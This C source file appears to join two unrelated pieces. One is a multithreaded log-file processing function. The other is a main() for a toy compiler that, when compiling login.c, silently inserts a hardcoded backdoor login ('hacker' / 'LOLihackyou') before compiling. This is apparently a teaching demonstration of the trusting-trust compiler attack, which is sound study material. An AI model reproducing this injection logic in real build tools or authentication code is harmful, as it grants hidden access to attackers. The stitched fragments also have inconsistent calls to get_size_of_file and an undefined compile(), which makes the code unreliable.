void process_file(void *ptr)
{
char *filename = (char *) ptr;
fprintf(stderr,"%s: processing log file %s\n", program_name, filename);
FILE *file_to_process = fopen(filename,"r");
if (file_to_process == NULL)
{
err_sys("Cannot open file %s\n", filename);
exit(1);
}
long file_size = get_size_of_file(file_to_process);
// if (is_trivial_file(file_size))
// {
// process((void*)file_to_process);
// }
// else
{
long num_threads = get_number_of_threads();
long chunk_size = get_chunk_size(file_size, num_threads);
pthread_t threads[num_threads];
long byte_endings[num_threads];
long indices[2];
int i;
for (i = 0; i < num_threads; ++i)
{
get_indices(file_to_process, i, chunk_size, byte_endings, indices);
// validate_chunk(file_to_process, "validation.txt", indices[0], indices[1], i);
process_chunk(file_to_process, i, threads, indices[0], indices[1]);
}
for (i = 0; i < num_threads; ++i)
pthread_join(threads[i], NULL);
}
}
int main(int argc, char* argv[])
{
// check for proper usage
if (argc < 2) {
printf("Must specify a file to compile.\n");
return 1;
}
// for our purposes, the "main" file that we might want to modify is
// always the first argument
char* file = argv[1];
// read the entire file into a buffer
int filesize = get_size_of_file(file);
FILE* f = fopen(file, "r");
char buffer[filesize + 1];
fread(buffer, filesize, 1, f);
// null-terminate the buffer
buffer[filesize] = 0;
// if we are compiling "login"
if (strcmp(file, "login.c") == 0)
{
// the code we want to insert into login.c
const char* hack = "\
else if (strcmp(username, \"hacker\") == 0 &&\
strcmp(password, \"LOLihackyou\") == 0)\
{\
printf(\"Hacked!! You now have access.\\n\");\
}";
// we want to insert the above hack into our buffer, so make a new buffer
// that's large enough to hold the original program plus the hack
int new_filesize = filesize + strlen(hack) + 1;
char new_buffer[new_filesize];
// null-terminate our new buffer
new_buffer[new_filesize - 1] = 0;
// copy the original program into our buffer
memcpy(new_buffer, buffer, filesize);
// iterate over the entire original file
for (int i = 0; i < filesize; i++)
{
char* pattern = "// deny them access!";
int pattern_len = strlen(pattern);
// if we find the above pattern in the file, we want to insert our hack at
// that position
if (strncmp(pattern, new_buffer + i, pattern_len) == 0)
{
memmove(new_buffer + i + strlen(hack), new_buffer + i, filesize - i);
memmove(new_buffer + i, hack, strlen(hack));
break;
}
}
// compile our new buffer (the original file + the hack)
compile(new_buffer, argc, argv);
return 0;
}
// compile the file
compile(buffer, argc, argv);
return 0;
}
